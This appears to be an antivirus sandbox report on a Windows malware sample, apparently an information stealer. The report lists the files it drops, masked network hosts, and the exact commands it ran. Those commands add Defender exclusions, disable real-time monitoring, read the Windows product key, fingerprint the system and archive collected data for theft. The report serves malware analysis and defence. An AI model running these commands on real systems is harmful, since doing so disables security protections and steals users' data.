Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Modifies file system
Creates the following files
- %TEMP%\_mei9762\vcruntime140.dll
- %TEMP%\_mei9762\rarreg.key
- %TEMP%\_mei9762\base_library.zip
- %TEMP%\_mei9762\unicodedata.pyd
- %TEMP%\_mei9762\tinyaes.cp311-win_amd64.pyd
- %TEMP%\_mei9762\sqlite3.dll
- %TEMP%\_mei9762\select.pyd
- %TEMP%\_mei9762\rar.exe
- %TEMP%\_mei9762\python311.dll
- %TEMP%\_mei9762\libssl-1_1.dll
- %TEMP%\ \tree.txt
- %TEMP%\_mei9762\libffi-8.dll
- %TEMP%\_mei9762\_ssl.pyd
- %TEMP%\_mei9762\_sqlite3.pyd
- %TEMP%\_mei9762\_socket.pyd
- %TEMP%\_mei9762\_queue.pyd
- %TEMP%\_mei9762\_lzma.pyd
- %TEMP%\_mei9762\_hashlib.pyd
- %TEMP%\_mei9762\_decimal.pyd
- %TEMP%\_mei9762\_ctypes.pyd
- %TEMP%\_mei9762\_bz2.pyd
- %TEMP%\_mei9762\libcrypto-1_1.dll
- %TEMP%\miiia.zip
Network activity
Connects to
- 'gs##tic.com':443
- 'ip##pi.com':80
TCP
Other
- 'gs##tic.com':443
UDP
- DNS ASK gs##tic.com
- DNS ASK ip##pi.com
Miscellaneous
Creates and executes the following
- '%TEMP%\_mei9762\rar.exe' a -r -hp1 "%TEMP%\Miiia.zip" *
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI9762\rar.exe a -r -hp1 "%TEMP%\Miiia.zip" *"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"' (with hidden window)
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /c "wmic csproduct get uuid"
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory
- '<SYSTEM32>\cmd.exe' /c "wmic computersystem get totalphysicalmemory"
- '<SYSTEM32>\wbem\wmic.exe' os get Caption
- '<SYSTEM32>\cmd.exe' /c "wmic os get Caption"
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\_MEI9762\rar.exe a -r -hp1 "%TEMP%\Miiia.zip" *"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
- '<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
- '<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
